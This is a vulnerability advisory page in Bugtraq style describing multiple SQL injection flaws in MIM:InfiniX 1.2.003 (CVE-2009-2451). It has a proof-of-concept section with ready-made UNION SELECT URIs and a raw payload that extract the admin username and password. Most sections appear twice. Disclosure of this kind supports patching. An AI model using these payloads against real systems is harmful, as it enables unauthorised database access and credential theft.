MIM:InfiniX Multiple SQL Injection Vulnerabilities
BID:34750
Info
MIM:InfiniX Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 34750 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-2451 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 28 2009 12:00AM |
| Updated: | Apr 13 2015 09:10PM |
| Credit: | YEnH4ckEr |
| Vulnerable: |
MIM:InfiniX MIM:InfiniX 1.2.3 |
| Not Vulnerable: | |
Discussion
MIM:InfiniX Multiple SQL Injection Vulnerabilities
MIM:InfiniX is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MIM:InfiniX 1.2.003 is vulnerable; other versions may also be affected.
MIM:InfiniX is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
MIM:InfiniX 1.2.003 is vulnerable; other versions may also be affected.
Exploit / POC
MIM:InfiniX Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs and data are available:
http://www.example.com/[HOME_PATH]/index.php?mode=calendar&selectedday=18&month=5&year=2009%27+AND+0+UNION+ALL+SELECT+1,user,pass,4,5,6 FROM admin WHERE id=1/*
http://www.example.com/[HOME_PATH]/index.php?mode=calendar&selectedday=18&month=5%27+AND+0+UNION+ALL+SELECT+1,user,pass,4,5,6+FROM+admin+WHERE+id=1/*&year=2009
anything%')) union all select 1,database(),database(),concat(user,'--::--',pass),5,6,7,8,9,database(),11 FROM admin WHERE id=1#
Attackers can use a browser to exploit these issues.
The following example URIs and data are available:
http://www.example.com/[HOME_PATH]/index.php?mode=calendar&selectedday=18&month=5&year=2009%27+AND+0+UNION+ALL+SELECT+1,user,pass,4,5,6 FROM admin WHERE id=1/*
http://www.example.com/[HOME_PATH]/index.php?mode=calendar&selectedday=18&month=5%27+AND+0+UNION+ALL+SELECT+1,user,pass,4,5,6+FROM+admin+WHERE+id=1/*&year=2009
anything%')) union all select 1,database(),database(),concat(user,'--::--',pass),5,6,7,8,9,database(),11 FROM admin WHERE id=1#
Solution / Fix
MIM:InfiniX Multiple SQL Injection Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Solution:
Updates are available; please see the references for more information.
References
MIM:InfiniX Multiple SQL Injection Vulnerabilities
References:
References:
- MIM:InfiniX Homepage (MIM:InfiniX)
- MULTIPLE REMOTE SQL INJECTION VULNERABILITIES---MIM:InfiniX v1.2.003---> ([email protected])
- Re: MULTIPLE REMOTE SQL INJECTION VULNERABILITIES---MIM:InfiniX v1.2.003---> ([email protected])
- Re: MULTIPLE REMOTE SQL INJECTION VULNERABILITIES---MIM:InfiniX v1.2.003---> ([email protected])